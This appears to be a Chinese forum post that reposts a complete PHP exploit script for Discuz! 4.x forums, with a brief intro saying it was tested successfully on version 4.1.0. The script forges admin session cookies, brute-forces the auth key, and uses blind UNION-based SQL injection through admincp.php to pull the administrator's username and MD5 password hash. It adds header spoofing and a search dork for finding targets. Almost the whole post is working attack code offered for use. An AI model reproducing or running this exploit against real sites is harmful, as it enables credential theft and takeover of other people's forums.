前段时间发过Discuz! 5.0.0 GBK版本的EXP
今天在CN.Tink那里看到的4.x的，我去原站转了过来，然后找了个Discuz! 4.1.0测试了一下，成功，看下面截图，Discuz! 5.0.0 GBK版本的那个EXP又许多朋友不知道怎么用，当时我说了下，还是有朋友不明白，这次我截了图上来，不知道怎么用的朋友看下应该明白的。
图：[url=http://photo.bababian.com/20061105/E8D09F4CD48014220CD6C955EC88FAC9_500.jpg][img]http://photo.bababian.com/20061105/E8D09F4CD48014220CD6C955EC88FAC9_500.jpg[/img]
[/url]
<?php
print_r('
---------------------------------------------------------------------------
Discuz! 4.x SQL injection / admin credentials disclosure exploit
by rgod rgod@autistici.org
site: http://retrogod.altervista.org
dork: "powered by discuz!
---------------------------------------------------------------------------
');
if ($argc<3) {
print_r('
---------------------------------------------------------------------------
Usage: php '.$argv[0].' host path OPTIONS
host: target server (ip/hostname)
path: path to discuz
Options:
-p[port]: specify a port other than 80
-P[ip:port]: specify a proxy
Example:
php '.$argv[0].' localhost /discuz/ -P1.1.1.1:80
php '.$argv[0].' localhost /discuz/ -p81
---------------------------------------------------------------------------
');
die;
}
error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",5);
function quick_dump($string)
{
$result='';$exa='';$cont=0;
for ($i=0; $i<=strlen($string)-1; $i++)
{
if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
{$result.=" .";}
else
{$result.=" ".$string[$i];}
if (strlen(dechex(ord($string[$i])))==2)
{$exa.=" ".dechex(ord($string[$i]));}
else
{$exa.=" 0".dechex(ord($string[$i]));}
$cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
}
return $exa."\r\n".$result;
}
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
function sendpacketii($packet)
{
global $proxy, $host, $port, $html, $proxy_regex;
if ($proxy=='') {
$ock=fsockopen(gethostbyname($host),$port);
if (!$ock) {
echo 'No response from '.$host.':'.$port; die;
}
}
else {
$c = preg_match($proxy_regex,$proxy);
if (!$c) {
echo 'Not a valid proxy...';die;
}
$parts=explode(':',$proxy);
echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
$ock=fsockopen($parts[0],$parts[1]);
if (!$ock) {
echo 'No response from proxy...';die;
}
}
fputs($ock,$packet);
if ($proxy=='') {
$html='';
while (!feof($ock)) {
$html.=fgets($ock);
}
}
else {
$html='';
while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
$html.=fread($ock,1);
}
}
fclose($ock);
}
$host=$argv[1];
$path=$argv[2];
$port=80;
$proxy="";
for ($i=3; $i<$argc; $i++){
$temp=$argv[$i][0].$argv[$i][1];
if ($temp=="-p")
{
$port=str_replace("-p","",$argv[$i]);
}
if ($temp=="-P")
{
$proxy=str_replace("-P","",$argv[$i]);
}
}
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
echo "please wait...\n";
//from global.func.php
function authcode($string, $operation, $key = '') {
$key = $key ? $key : $GLOBALS['discuz_auth_key'];
$coded = '';
$keylength = 32;
$string = $operation == 'DECODE' ? base64_decode($string) : $string;
for($i = 0; $i < strlen($string); $i += 32) {
$coded .= substr($string, $i, 32) ^ $key;
}
$coded = $operation == 'ENCODE' ? str_replace('=', '', base64_encode($coded)) : $coded;
return $coded;
}
//stolen from install.php
function random($length) {
$hash = '';
$chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz';
$max = strlen($chars) - 1;
mt_srand((double)microtime() * 1000000);
for($i = 0; $i < $length; $i++) {
$hash .= $chars[mt_rand(0, $max)];
}
return $hash;
}
$agent="Googlebot/2.1";
//see sql errors... you need auth key,
//it's a value mixed up with the random string in cache_settigns.php and your user-agent, so let's ask ;)
$tt="";for ($i=0; $i<=255; $i++){$tt.=chr($i);}
while (1)
{
$discuz_auth_key=random(32);
$packet ="GET ".$p."admincp.php?action=recyclebin HTTP/1.0\r\n";
$packet.="CLIENT-IP: 999.999.999.999\r\n";//spoof
$packet.="User-Agent: $agent\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Cookie: adminid=1; cdb_sid=1; cdb_auth=".authcode("suntzu\tsuntzu\t".$tt,"ENCODE").";\r\n";
$packet.="Accept: text/plain\r\n";
$packet.="Connection: Close\r\n\r\n";
$packet.=$data;
sendpacketii($packet);
$html=html_entity_decode($html);
$html=str_replace("<br />","",$html);
$t=explode("AND m.password='",$html);
$t2=explode("' ",$t[1]);
$pwd_f=$t2[0];
$t=explode("AND m.secques='",$html);
$t2=explode("'\n",$t[1]);
$secques_f=$t2[0];
$t=explode("AND m.uid='",$html);
$t2=explode("'\x0d",$t[1]);
$uid_f=$t2[0];
$my_string=$pwd_f."\t".$secques_f."\t".$uid_f;
if ((strlen($my_string)==270) and (!eregi("=",$my_string))){
break;
}
}
$temp = authcode("suntzu\tsuntzu\t".$tt,"ENCODE");
//calculating key...
$key="";
for ($j=0; $j<32; $j++){
for ($i=0; $i<255; $i++){
$aa="";
if ($j<>0){
for ($k=1; $k<=$j; $k++){
$aa.="a";
}
}
$GLOBALS['discuz_auth_key']=$aa.chr($i);
$t = authcode($temp,"DECODE");
if ($t[$j]==$my_string[$j]){
$key.=chr($i);
}
}
}
//echo "AUTH KEY ->".$key."\r\n";
$GLOBALS['discuz_auth_key']=$key;
echo "pwd hash (md5) -> ";
$chars[0]=0;//null
$chars=array_merge($chars,range(48,57)); //numbers
$chars=array_merge($chars,range(97,102));//a-f letters
$j=1;$password="";
while (!strstr($password,chr(0)))
{
for ($i=0; $i<=255; $i++)
{
if (in_array($i,$chars))
{
//you can use every char because of base64_decode()...so this bypass magic quotes...
//and some help by extract() to overwrite vars
$sql="999999'/**/UNION/**/SELECT/**/1,1,1,1,1,1,1,1,1,1,1,1,(IF((ASCII(SUBSTRING(m.password,$j,1))=".$i."),1,0)),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1/**/FROM/**/cdb_sessions/**/s,/**/cdb_members/**/m/**/WHERE/**/adminid=1/**/LIMIT/**/1/*";
$packet ="GET ".$p."admincp.php?action=recyclebin& HTTP/1.0\r\n";
$packet.="User-Agent: $agent\r\n";
$packet.="CLIENT-IP: 1.2.3.4\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Cookie: adminid=1; cdb_sid=1; cdb_auth=".authcode("suntzu\tsuntzu\t".$sql,"ENCODE").";\r\n";
$packet.="Accept: text/plain\r\n";
$packet.="Connection: Close\r\n\r\n";
$packet.=$data;
sendpacketii($packet);
if (eregi("action=groupexpiry",$html)){
$password.=chr($i);echo chr($i);sleep(1);break;
}
}
if ($i==255) {
die("\nExploit failed...");
}
}
$j++;
}
echo "\nadmin user -> ";
$j=1;$admin="";
while (!strstr($admin,chr(0)))
{
for ($i=0; $i<=255; $i++)
{
$sql="999999'/**/UNION/**/SELECT/**/1,1,1,1,1,1,1,1,1,1,1,1,(IF((ASCII(SUBSTRING(m.username,$j,1))=".$i."),1,0)),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1/**/FROM/**/cdb_sessions/**/s,/**/cdb_members/**/m/**/WHERE/**/adminid=1/**/LIMIT/**/1/*";
$packet ="GET ".$p."admincp.php?action=recyclebin& HTTP/1.0\r\n";
$packet.="User-Agent: $agent\r\n";
$packet.="CLIENT-IP: 1.2.3.4\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Cookie: adminid=1; cdb_sid=1; cdb_auth=".authcode("suntzu\tsuntzu\t".$sql,"ENCODE").";\r\n";
$packet.="Accept: text/plain\r\n";
$packet.="Connection: Close\r\n\r\n";
$packet.=$data;
sendpacketii($packet);
if (eregi("action=groupexpiry",$html)){
$admin.=chr($i);echo chr($i);sleep(1);break;
}
if ($i==255) {die("\nExploit failed...");}
}
$j++;
}
function is_hash($hash)
{
if (ereg("^[a-f0-9]{32}",trim($hash))) {return true;}
else {return false;}
}
if (is_hash($password)) {
echo "exploit succeeded...";
}
else {
echo "exploit failed...";
}
?>
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